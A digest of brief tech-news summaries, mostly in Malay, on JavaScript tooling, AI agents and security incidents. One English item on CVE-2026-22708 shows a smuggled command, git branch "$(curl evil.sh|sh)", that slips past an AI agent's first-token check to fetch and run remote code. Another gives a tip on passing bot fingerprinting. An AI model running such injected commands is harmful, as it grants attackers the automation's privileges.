Ekosistem JavaScript dan TypeScript.
Shopify membina dua ejen AI dalaman—Pi untuk pemetaan ciri dan Tardis untuk penyahpepijatan langsung—bagi mengautomasikan penulisan semula kod, membolehkannya menamatkan penggunaan stack React Native selama enam tahun sambil mencapai permulaan 2 saat lebih pantas, saiz aplikasi 109 MB lebih kecil, dan pengurangan kerosakan (crash) sebanyak kira-kira sepuluh kali ganda.
Dengan menggantikan corak `new Promise` yang rumit dengan satu panggilan `Promise.withResolvers()`, pembangun boleh menyerahkan fungsi resolve/reject kepada mana-mana bahagian sistem, sekali gus menghapuskan isu resolve yang terlupa, amaran double-reject, dan struktur bersarang yang mendalam—sangat berguna dalam persekitaran Lambda tanpa pelayan (serverless).
Pelayan melakukan proses 'hash' pada TLS ClientHello mentah menjadi cap jari JA3/JA4; sebarang ketidakpadanan dengan User-Agent yang dinyatakan atau tetapan HTTP/2 akan menandakan permintaan tersebut sebagai dihasilkan oleh skrip. Satu-satunya penyelesaian yang boleh dipercayai adalah dengan memastikan setiap lapisan permintaan memaparkan profil pelayar yang sama.
Pemberat berformat GGUF Pocket-35B boleh dimuatkan terus ke dalam llama.cpp atau Ollama, membolehkan pasukan tanpa bajet GPU menjalankan model 35 bilion parameter pada komputer riba standard—asalkan mereka memenuhi keperluan RAM yang sederhana.
Casting hands off playback to the TV’s firmware, so tokens must outlive the session, CORS headers must include the TV’s origin, and the stream URL can’t be a blob. The guide shows how to swap to a manifest URL and validate the connection.
Lockfile lalai baharu dalam Bun v1.2 ialah bun.lock teks biasa, menggantikan bun.lockb yang tidak telus. Perubahan ini membolehkan penyemak melihat peralihan versi yang tepat, menjalankan semakan polisi dalam CI, dan menjejaki penyisipan berniat jahat menggunakan alatan git standard.
Payload JSCeal yang hanya beroperasi dalam RAM mengekstrak kuki, kata laluan yang disimpan dan token OAuth daripada pelayar Chromium, kemudian memainkan semula sesi tersebut untuk memintas permintaan faktor kedua Google, membolehkan penyerang merampas dana daripada Binance, Bybit, Ledger dan banyak lagi.
Pakej-pakej tersebut, yang diterbitkan antara jam 04:54:59 dan 04:55:48 UTC pada 7 September 2026, meniru @coinbase/wallet-sdk dengan nama seperti cb-wallet-http dan menggunakan versi 0.0.1-security, sekali gus menunjukkan betapa cepatnya kod berniat jahat boleh menyusup ke dalam projek.
Cisco Talos menemui ClickFix, satu skim 'crypto-skimming' yang memperdaya pengguna untuk memasang skrip Tampermonkey. Skrip tersebut menulis semula alamat deposit secara masa nyata, menyedut dana sementara transaksi kelihatan sah.
Pengujian 13 ekspresi julat terhadap 19 nombor versi mendedahkan hanya 17 hasil yang sepadan, dengan kebanyakan daripadanya adalah penolakan. Simbol caret, tilde dan dot-x ditafsirkan secara berbeza oleh setiap pengurus, yang membawa kepada ketidakserasian yang mengejutkan.
Pepijat SSRF masih wujud dalam Ollama 0.33.2 kerana pemuat turun model tensor menggunakan klien HTTP berasingan yang melangkau perlindungan pengalihan yang ditambah untuk CVE-2026-5530, membolehkan penyerang mengalihkan proses penarikan ke mana-mana alamat yang boleh dicapai.
CVE-2026-22708 demonstrates that agents checking only the first token of a command can be duped by payloads hidden in arguments—e.g., git branch "$(curl evil.sh|sh)"—granting attackers the same privileges as the automation bot.
Diskaun 45% ini terpakai apabila prom sistem dan skema alatan yang sama digunakan semula dalam banyak iterasi, menjadikan Claude Fable 5.1 sangat menarik untuk penyemak kod autonomi, bot triaj tiket, dan saluran ejen berulang yang lain.
WebFPGA menggunakan API WebUSB untuk memprogram FPGA Lattice iCE40-UP5K melalui JavaScript, membolehkan inferens TinyML di bawah 10 ms dengan penggunaan hanya beberapa puluh miliwatt serta memastikan semua data kekal pada peranti.
Kunci yang terdedah membolehkan penyerang membuat caj, mendapatkan invois dan mengumpul data peribadi, sekali gus mengancam risiko tuntutan balik (chargeback), denda serta kerosakan jenama. Langkah segera termasuk menyekat dotfiles, menukar setiap kunci dan memindahkan maklumat sulit ke dalam 'vault'.
Versi baharu ini memperkemas susun atur perenggan untuk skrip kompleks, menambah Paparan Draf yang ringkas, serta menambah baik penukaran ODF-DOCX/XLSX, manakala tampalan keselamatan dan pengasingan makro memastikan dokumen kekal selamat di premis.
Enjin berasaskan Rust ini berjalan dalam proses berasingan, memisahkan analisis jenis daripada bebenang UI serta menambah pengecachean yang lebih pintar yang hanya menyemak semula fail yang berubah, sekali gus memberikan binaan inkremental yang lebih pantas.
Mod Vapor Vue 3.6 yang akan datang menyusun komponen fail tunggal terus kepada panggilan DOM, sekali gus menghapuskan langkah perbezaan (diff) virtual-DOM. Dalam permainan penanda aras yang melakukan lukisan semula (repaint) berpuluh kali sesaat, perubahan ini mengurangkan masa render dan mengecilkan saiz bundle, walaupun UI frekuensi rendah tidak menunjukkan peningkatan yang ketara.
Jurutera Anthropic menggunakan 64 ejen Claude Fable 5 secara selari untuk menulis semula kod sumber Bun dalam Rust selama 11 hari, dengan penggunaan token mencecah $165K, namun kos sebenar berkemungkinan lebih tinggi setelah mengambil kira pengiraan komputasi pasca-gabungan dan audit keselamatan.
Dengan ketiadaan pengepala permintaan khas beta, perusahaan akhirnya dapat mengatasi halangan undang-undang dan keselamatan. Mod tindakan berkelompok baharu untuk alatan penggunaan komputer juga menjanjikan kependaman dan penggunaan token yang lebih rendah, walaupun penjimatan tersebut perlu disahkan.
Versi ini juga memperkenalkan Partial Prerendering sedia-produksi yang dapat mengurangkan 40-60% Masa ke Interaktif (Time to Interactive), sokongan TypeScript yang lebih mantap untuk Server Actions, serta middleware berasaskan Rust, namun ia memerlukan Node 20+ dan mungkin menjejaskan plugin Webpack sedia ada.
Versi beta baharu ini membolehkan anda mengimport hanya keupayaan grid yang anda gunakan—langkau kod penyusunan sepenuhnya, kecilkan saiz muat turun kepada kira-kira 5 KB, dan elakkan beban kerja thread utama yang sebelum ini memperlahankan skor INP.
Meteor 3.5 introduces a pluggable DDP transport that can be swapped to uWebSockets.js via the DDP_TRANSPORT=uws environment variable, delivering up to 1.6x higher throughput, 9 % lower CPU, 11 % less RAM and 26 % shorter GC pauses for RPC-heavy apps.
Menguasai Caching Sisi Pelayan Lanjutan dalam Next.js. Menskalakan aplikasi Next.js memerlukan lebih daripada sekadar memilih antara SSR dan SSG. Apabila data anda semakin bertambah, anda memerlukan caching lanjutan untuk mengurangkan...
